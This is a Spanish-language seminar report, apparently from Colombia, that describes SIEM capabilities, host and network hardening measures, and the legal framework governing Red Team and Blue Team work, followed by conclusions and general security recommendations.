1 Center for Internet Security. https://www.cisecurity.org/about-us/
2 Conoce todo lo que puedes hacer con herramientas de registro y gestion de eventos.
https://www.softhoy.com/conoce-puedes-hacer-herramientas-reqistro-gestion-eventos.html
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Monitoreo de datos en tiempo real: esta vigilante del flujo y comportamiento de la
informacion que se estd gestionando y transportando a través del sistema
informatico: equipos de computo e informacion que se transporta a través de la red
y los dispositivos que permiten su funcionamiento. Esto permite la deteccion
temprana de amenazas y respuesta a incidentes.

Correlacién de eventos: esta en la capacidad de crear un repositorio de eventos
(logs) para su constante andlisis y asi tener la capacidad de determinar de forma
automatica, si algun evento o cadena de eventos de seguridad que han sucedido
en la red, corresponden o0 no, a una potencial amenaza a la seguridad, esto gracias
al establecimiento y asignacion adecuada de prioridades a cada uno de los eventos
que analiza.

Alertas y Notificaciones: Uno de los aspectos importantes y valiosos de los sistemas
SIEM, este el medio que utiliza toda la solucién para informar inmediatamente a los
profesionales del area de gestion tecnoldgica cualquier anomalia detecta. Lo hace
apoyandose en mensajes SMS, correo electrénico y similares.

Reportes: En la administracion y gestién de logs, el analisis de los reportes, se
convierte en un apoyo y recurso soporte para el area de seguridad en su lucha de
mitigar riesgos y reducir vulnerabilidades.

Monitoreo de datos en tiempo real: esta vigilante del flujo y comportamiento de la
informacion que se estd gestionando y transportando a través del sistema
informatico: equipos de computo e informacion que se transporta a través de la red
y los dispositivos que permiten su funcionamiento. Esto permite la deteccién
temprana de amenazas y respuesta a incidentes.

Correlacién de eventos: estd en la capacidad de crear un repositorio de eventos
(logs) para su constante andlisis y asi tener la capacidad de determinar de forma
automatica, si algun evento o cadena de eventos de seguridad que han sucedido
en la red, corresponden o0 no, a una potencial amenaza a la seguridad, esto gracias
al establecimiento y asignacion adecuada de prioridades a cada uno de los eventos
que analiza.

Alertas y Notificaciones: Uno de los aspectos importantes y valiosos de los sistemas
SIEM, este el medio que utiliza toda la solucién para informar inmediatamente a los
profesionales del area de gestion tecnoldgica cualquier anomalia detecta. Lo hace
apoyandose en mensajes SMS, correo electrénico y similares.

Reportes: En la administracion y gestién de logs, el analisis de los reportes, se

convierte en un apoyo Yy recurso soporte para el area de seguridad en su lucha de
mitigar riesgos y reducir vulnerabilidades.
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Mediante el analisis de los registros de logs, es posible identificar eventos de
importancia como incidentes o problemas operacionales que requieran de una
respuesta.

Dentro de la literatura consultada se observa que algunos sistemas SIEM tiene este
aspecto como oportunidad de mejora y es que sus reportes no son tan sencillos de
configurar y visualizar; es importante que la solucion SIEM que se implemente en
una entidad u organizacion, el aspecto de reportes, sea uno de sus fuertes, ya que
de esto depende la toma decisiones por parte del grupo de gestion tecnoldgica y la
definicion de planes de trabajo inmediatos y a futuro no muy lejano.

Almacenamiento de informacién: Consiste en que la solucibn SIEM tenga la
capacidad de recopilar gigabytes y terabytes de los datos de registro de una manera
eficaz, para tener la oportunidad de acceder a ellos de forma rapida al momento en
gque sea necesario para con base a los resultados histéricos analizar
comportamientos y poder tomar decisiones.
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6 ESTRATEGIAS QUE PERMITEN ENDURECER LOS ASPECTOS DE
SEGURIDAD DE LA INFORMACION EN LA ORGANIZACION

Teniendo en cuenta lo desarrollado por los equipos Red Team y Blue Team, se
deben encaminar las medidas de endurecimiento y contencion en dos sentidos, a
nivel de los equipos de computo y a nivel de red, asi:

A NIVEL DE EQUIPOS DE COMPUTO

Verificacion de la seguridad de los usuarios creados y con acceso a los equipos de
computo y definicion de credenciales de acceso

Implementacion de politica de permisos a usuarios y grupos de usuarios (cuentas
limitadas) limitacién de acceso a unidades de almacenamiento, como por ejemplo
el monte y ejecucion de unidades de memorias o discos usb.

Eliminacién o desactivacion de usuarios creados que ya no estan laborando en la
organizacién o que ya no hacen uso de los equipos de computo.

Verificacion de software instalado para eliminar el software innecesario que ya no
se esté usando.

Verificacion de los servicios que ejecutan los equipos al inicio del sistema operativo
y durante las sesiones de trabajo, para desactivar aquellos que estén ejecutando
programas o aplicaciones que permitan accesos no autorizados.

Escaneo con software como Nmap y Zenmap para el escaneo de puertos y servicios
en los equipos de cdmputo y asi adelantar lo necesario para cerrar puertos y
servicios innecesarios.

Como se observa en este informe, crear la situacion real que se presenta en la
organizacién, en un medio virtualizado e iniciar con la actualizacion de los sistemas
operativos gradualmente, para que a medida que se aplican las actualizaciones,
verificar el correcto funcionamiento de todos los aplicativos especialmente aquellos
gue solo funcionan en las versiones de Windows instaladas como se nos indico
anteriormente.

Para este caso en particular se considera necesario configurar el servicio de
actualizaciones automaticas de forma manual, con la observacion que se debe fijar
un documento donde quede claramente plasmado su periodicidad y responsabilidad
de ejecucion.

Verificacién del correcto funcionamiento del software antivirus y su correspondiente
actualizacion.
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Activacion vy verificacion de la configuracion del firewall, de tal forma que se esté
permitiendo la ejecucion de las aplicaciones que realmente se necesitan y que la
modificacion de configuracion esté conforme a los privilegios del grupo de usuarios
creados.

Particionamiento l6gico de disco duro para en caso de presentarse una falla que
afecte el funcionamiento del sistema operativo se tenga mayor oportunidad de
salvaguardar la informacion.

Bloquear el acceso a sitios web desde los equipos de coOmputo a través de la
configuracion del archivo hosts. (Complementaria a la herramienta proxy).

A NIVEL DE RED

Implementacion de un software proxy para el control de acceso a internet desde los
equipos de cémputo. Existen varias opciones de codigo abierto con muy buen
desempeiio y rendimiento.

Implementacion de un software firewall, teniendo en cuenta las limitaciones
presupuestales, optaria por opciones como el pfSense, que ofrece un muy buen
desempefio, es facil de instalar configurar y operar, ofrece muchas herramientas al
grupo de gestion tecnolégica que les ayudara a tener un mejor control del trafico y
desempeiio de la red, al igual que a detectar a tiempo comportamientos inusuales.

Crear e implementar Vlan's en la red LAN de la organizacion de tal forma que se
tenga separados los recursos de red légicos por grupos de trabajo, asi por ejemplo
el area administrativa no tiene acceso al area de granja de servidores.

6.1 OTRAS HERRAMIENTAS QUE PERMITEN CONTENER ATAQUES
INFORMATICOS

Un buen software antivirus de caracter corporativo que brinde una proteccién
integral a los equipos de computo y al intercambio de informacion a través de la red,
ademas de proteccion en la nube pueden ser soluciones como las ofrecidas por
empresas como Kaspersky Lab, ESET, Symantec etc.

La implementacién de un buen firewall fisico que nos permita proteger la red interna
frente ataques del exterior, que nos permita monitorizar nuestros recursos de red
gue evite ataques de spyware vigile, el trafico a través de la Web; presente barreras
anti-spam y anti-phising. Igualmente, que nos permita realizar filtrado de URL, para
gue desde los equipos de cdmputo no se pueda ingresar a paginas o grupos de
paginas potencialmente peligrosas. Marcas como CISCO disefian y elaboran
dispositivos que cumplen con los requerimientos indicados anteriormente.
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También encontramos soluciones de contencion como las ofrecidas por la marca
FORTINET que ofrece al mercado dispositivos que incluyen: antivirus, control de
aplicaciones, cortafuegos, VPN, prevencion de intrusos y filtrado web, para otorgar
una proteccion total a tus contenidos.?

Esta misma empresa también ofrece la solucion FortiGate: Firewall de Ultima
generacion (NGFW)*. Ofrece proteccioén contra amenazas y evaluacién continua de
riesgos a través del uso de IA en sus dispositivos. Otra de las ventajas de esta
solucion es gque se puede implementar fisicamente con un dispositivo o a nivel de
Software con las mismas prestaciones que el dispositivo fisico, eso si, cumpliendo
con ciertos requerimientos minimos.

Ajustar y endurecer la configuracion de acceso a través de las redes Wifi,
configuracion implementacién de Vlan's y aplicaciéon de control ACL vy filtrado de
MAC garantizando que a los AP solo se puedan conectar los dispositivos
debidamente autorizados.

Aplicacion de politicas administrativas que controlen el funcionamiento o no de los
puertos usb de los equipos de codmputo, garantizandose que estos funcionen para
servicios de conexion de periféricos como impresoras, escaner o similar pero no
para el cargue de memorias usb por parte de los usuarios finales.

Implementar la autenticaciéon de los usuarios a través de equipos de biometria,
garantizando un método de autenticacibn mas seguro, robusto y adecuado para
todos los usuarios del sistema informético.

8 Qué es Fortinet y como funciona. https://vertical-iberica.com/que-es-fortinet-y-como-funciona/
4 FortiGate: Firewall de Ultima generacion (NGFW). https://www.fortinet.com/lat/products/next-
generation-firewall
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7 ASPECTOS LEGALES A TENER EN CUENTA POR PARTE DE LOS
GRUPOS DE TRABAJO RED TEAM Y BLUE TEAM

Si bien es cierto la filosofia y el punto de nacimiento de los conceptos de Blue Team
y Red Team es el campo de la seguridad informatica, es pertinente mencionar el
aspecto juridico, que, aunque no parezca, con el pasar de los dias se estrecha mas
el vinculo entre la jurisprudencia y la seguridad informatica.

En el presente informe apreciamos las funciones y actividades que desarrollan los
grupos de trabajo Blue Team y Red Team, con el objetivo de que las entidades u
organizaciones que contraten este tipo de servicios estén en la capacidad de
salvaguardarse ante posibles ciberataques. Sin embargo, los profesionales que
integran estos grupos a pesar de ser contratados precisamente para evitar delitos,
se encuentran en esa delgada linea que existe en muchas profesiones y trabajos,
entre actuar bajo la ley, la legalidad, la ética profesional o hacer todo lo contrario.

En el trabajo que lleva a cabo Blue Team y Red Team se obtiene toda clase de
informacion caracteristica y vital para una empresa, secretos de negocio y muchos
mas datos con este grado de criticidad.

Se debe tener mucho cuidado con los acuerdos contractuales que se suscriben para
llevar a cabo los trabajos de Red Team y Blue Team, dejar claro los alcances y las
declaraciones de privacidad y confidencialidad, durante y después de realizado el
trabajo encomendado.

Es importante para los profesionales que integran estos grupos de trabajo tener
claro y presente al momento de ejecutar su labor los deberes y responsabilidades
indicados en el codigo de ética para el ejercicio de la ingenieria en general y sus
profesiones afines y auxiliares del COPNIA, de igual forma lo contemplado en la
jurisprudencia reciente y vigente en Colombia con la Ley 1273 de 2009 mediante la
cual el Congreso de la Republica modific6 el Cdédigo Penal Colombiano
adicionandole los conceptos, pautas, procedimientos y sanciones a aplicar al
momento en que se presentes situaciones, actos o procedimientos que atenten
contra la confidencialidad, integridad y disponibilidad de los datos y de los sistemas
informaticos que se gestionen o administren en el o desde el territorio colombiano.

Es importante ver que esta ley toma como principio rector y base para su
promulgacion y posterior aplicacion los pilares de la seguridad de la informacion
como se menciona en la misma: disponibilidad, integridad y confidencialidad.

Por otra parte y no menos importante, encontramos el Documento CONPES 3701
del 14 de julio de 2011, donde se fijan lineamientos de politica para ciberseguridad
y ciberdefensa, documento que traza la hoja de ruta a seguir por parte del estado
Colombiano para el desarrollo de una estrategia nacional que contrarreste el
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incremento de amenazas informéticas que asechan y pueden llegar a impactar
significativamente al pais.

Decreto 1377 de 2013, mediante el cual se reglamenta la ley 1581 de 2012
Régimen General de Proteccion de Datos Personales, tanto la ley como el decreto
precitado, definen las disposiciones generales para la proteccion y tratamiento de
datos personales.

El uso de nuevas herramientas tecnologicas y del establecimiento de estos marcos

regulatorios, permiten poco a poco adaptarnos a las necesidades del mundo
tecnoldgico que practicamente ya son inherentes de la vida cotidiana.
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8 CONCLUSIONES

Red Team y Blue Team deben trabajar de la mano para lograr el objetivo de detectar
y controlar cualquier vector de ataque.

Para este tipo de ejercicios siempre debemos trabajar en ambientes virtualizados
de simulacion del ambiente de trabajo igual al real, ya que, si realizamos y
desarrollamos las pruebas en el ambiente de trabajo real, podemos llegar a
ocasionar fallos y caidas del sistema con un costo muy elevado para la empresa o
entidad donde estemos adelantando las pruebas de un equipo Red Team o Blue
Team.

Con la entrada en auge del Big Data y la inteligencia artificial, articulados con
soluciones SIEM, crean la perspectiva sobre el lanzamiento de herramientas cada
dia mas robustas, efectivas y autbnomas para la contencion de ataques informaticos
y la consolidacion de bases de datos de conocimiento sobre la prevencion de
amenazas informaticas.

Es imperativo en Colombia concientizar y fomentar la cultura de implementacion de
estrategias de ciberseguridad en todas las entidades publicas y organizaciones
privadas, que les permitan estar preparadas para afrontar de la mejor forma las
amenazas informéticas que con el pasar de los dias aumentan y son mas
sofisticadas.

No basta solo con mejorar todos los aspectos de seguridad informética de nuestros
sistemas informaticos, aqui juega un papel importantisimo el usuario final, que es
en realidad la puerta de entrada para cualquier tipo de ciberataque, por eso es
necesario adelantar periddicamente jornadas de capacitacién, ademas de crear y
actualizar las politicas de seguridad de la informacion, como estrategias de mejora
continua.

Una vez planteado el tema de la ciberseguridad y de los alcances regulatorios
existentes en Colombia, se evidencia la interdependencia entre el Derecho y las
nuevas tecnologias. Esta relacion casi que obligatoria, permite el orden, establece
las bases y lineamientos para su tratamiento, ademas de brindar de seguridad
juridica a los distintos actores.

A la hora de desempefiarnos en grupos de trabajo Red Team o Blu Team debemos
tener mucho cuidado en cumplir con las disposiciones normativas y contractuales a
fin de evitar sanciones administrativas a la organizacion o a nosotros mismos, que
puedan llegar a incurrir en responsabilidad civil, penal o administrativa por el
incumplimiento de la ley.
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RECOMENDACIONES

En las empresas, entidades publicas y organizaciones privadas, prepararnos de
manera proactiva para mitigar y detener ataques, que pueden representar pérdidas
millonarias para el negocio. Invertir en seguridad de la informacién siempre sera
clave, pero ahora que hay un incremento importante en los procesos de
digitalizacion el riesgo aumenta y mas que nunca deben estar alerta.

Mantenga siempre activado la configuracion de cortafuegos o firewall y el filtrado
spam.

No Instale herramientas de acceso remoto en su equipo a no ser que sea solicitado
o indicado por alguien de su entera confianza o por parte del grupo de gestidon
tecnologica de su entidad u organizacién. Siya no es necesario su uso desinstalelo.

Disefie y aplique politicas de respaldo o backups de la informacién.

No descargue archivos de extension desconocida y si por alguna razon se realiza
no los descomprima sin antes pasarlos por su software antivirus.

Mantenga actualizado su sistema operativo y correctamente configurado el servicio
de actualizaciones autométicas.

Implemente politicas de contrasefias robustas y tomelo como habito para el ingreso
y manejo de las diferentes aplicaciones de uso personal, comercial, de informacion
personal y sensible.

Implementacion de politica de permisos a usuarios y grupos de usuarios (cuentas
limitadas), limitacién de acceso a unidades de almacenamiento, como por ejemplo
el monte y ejecucién de unidades de memorias o discos usb.

Programe y realice escaneos periddicos con software como Nmap y Zenmap para
revisar puertos y servicios en los equipos de cémputo y equipos activos de red y asi
adelantar lo necesario para cerrar puertos y servicios innecesarios.

Implemente un software proxy para el control de acceso a internet desde los equipos

de computo. Existen varias opciones de codigo abierto con muy buen desempefio y
rendimiento.
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VIDEO DE SUSTENTACION

La sustentacion del desarrollo del seminario y este informe final se encuentra
disponible en la plataforma de videos YouTube y se puede acceder al mismo a
través del siguiente enlace, https://youtu.be/HPuWiAsvrv4 .
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